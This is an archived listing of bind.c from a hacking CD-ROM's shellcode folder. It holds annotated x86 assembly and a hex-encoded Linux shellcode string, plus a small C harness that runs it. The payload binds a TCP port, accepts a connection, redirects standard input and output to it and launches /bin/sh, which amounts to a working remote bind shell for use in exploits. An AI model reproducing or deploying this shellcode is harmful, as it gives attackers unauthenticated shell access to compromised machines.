home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / bind.c next >
Encoding:
C/C++ Source or Header  |  2000-01-02  |  2.6 KB  |  101 lines

  1. /*
  2. .file    "bind"
  3. .version    "01.01"
  4. .text
  5.     .align 4
  6. .globl main
  7.     .type     main,@function
  8. _start:
  9.     #socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  10.     movl %esp,%ebp
  11.     xorl %edx,%edx
  12.     movb $102,%edx
  13.     movl %edx,%eax        # 102 = socketcall
  14.     xorl %ecx,%ecx
  15.     movl %ecx,%ebx
  16.     incl %ebx         # socket()
  17.     movl %ebx, -8(%ebp)    # 1 = SOCK_STREAM
  18.     incl %ebx
  19.     movl %ebx, -12(%ebp)    # 2 = AF_INET
  20.     decl %ebx        # 1 = SYS_socket
  21.     movl %ecx, -4(%ebp)    # 0 = IPPROTO_IP 
  22.     leal -12(%ebp),%ecx    # put args in correct place
  23.     int  $0x80        # switch to kernel-mode
  24.     xorl %ecx,%ecx
  25.     movl %eax,-12(%ebp)    # save the fd
  26.  
  27.     # bind(fd,(struct sockaddr *)&struct,16);
  28.     incl %ebx
  29.     movw %ebx,-20(%ebp)    # 2 = AF_INET & 2 = SYS_bind
  30.     movw $9999,-18(%ebp)    # 9999 = htons(3879)
  31.     movl %ecx,-16(%ebp)    # 0 = INADDR_ANY
  32.     leal -20(%ebp),%eax    # struct sockaddr
  33.     movl %eax,-8(%ebp)    # load the struct
  34.     movb $16,-4(%ebp)    # 16 = sizeof(struct sockaddr)
  35.     movl %edx,%eax        # 102 = socketcall
  36.     leal -12(%ebp),%ecx    # puts args in correct place
  37.     int $0x80
  38.  
  39.     # listen(fd,something);
  40.     # fd is at -12(%ebp) = %ecx
  41.     movl %edx,%eax        # 102 = socketcall
  42.     incl %ebx        # 2 * incl < addl
  43.     incl %ebx        # 4 = SYS_listen 
  44.     int  $0x80        
  45.  
  46.     # accept(fd,struct sockaddr,16);
  47.     # struct sockaddr is at -8(%ebp)    
  48.     movl %edx,%eax        # if you don't know by now, that a gun and shoot yourself
  49.     incl %ebx        # 5 = SYS_accept
  50.     # %ecx = -12(%ebp) 
  51.     int  $0x80
  52.     movl %eax,%ebx        # save new fd
  53.  
  54.     # dup2(fd,0)
  55.     xorl %ecx,%ecx
  56.     movb $63,%edx        # 63 = dup2()
  57.     movl %edx,%eax
  58.     int  $0x80
  59.  
  60.     #dup2(fd,1)
  61.     movl %edx,%eax
  62.     incl %ecx
  63.     int  $0x80
  64.  
  65.     # arg[0] = "/bin/sh"
  66.     # arg[1] = 0x0
  67.     # execve(arg[0],arg);
  68.     jmp  0x18
  69.     popl %esi
  70.     movl %esi,0x8(%ebp)
  71.     xorl %eax,%eax
  72.     movb %eax,0x7(%esi)
  73.     movl %eax,0xc(%ebp)
  74.     movb $0xb,%al
  75.     movl %esi,%ebx
  76.     leal 0x8(%ebp),%ecx    
  77.     leal 0xc(%ebp),%edx    
  78.     int  $0x80    
  79.     call -0x1d
  80.     .string "/bin/sh"
  81. */
  82. #define CODESIZE 129
  83. /* Optimized the code, now it works better in bad situations */
  84. #define NAME "portbinding"
  85. char code[]=
  86. "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  87. "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  88. "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  89. "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  90. "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  91. "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  92. "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  93. "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  94. main()
  95. {
  96.   int (*funct)();
  97.   funct = (int (*)()) code;
  98.   printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
  99.   (int)(*funct)();
  100. }
  101.